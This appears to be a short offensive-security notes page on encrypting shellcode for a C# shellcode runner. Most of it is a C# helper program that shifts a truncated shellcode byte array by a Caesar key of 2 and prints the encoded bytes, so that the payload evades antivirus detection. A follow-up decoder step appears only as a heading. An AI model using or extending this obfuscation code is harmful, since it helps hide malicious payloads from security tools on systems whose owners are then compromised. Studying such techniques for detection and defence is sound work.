Encrypting C# Shellcode Runner

Encrypt shellcode

Using Ceasar cipher, using our project called Helper

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Helper
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[715] {0xfc,0x48,0x83,0xe4,0xd5 ...};
            byte[] encoded = new byte[buf.Length];

            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
            }

            StringBuilder hex = new StringBuilder(encoded.Length * 2);

            foreach (byte b in encoded)
            {
                hex.AppendFormat("0x{0:x2}, ", b);
            }
            Console.WriteLine("The payload is: " + hex.ToString());

        }
    }
}

In this case Ceasar cipher with key of '2' is used.

Implement decoder into shellcode runner

Last updated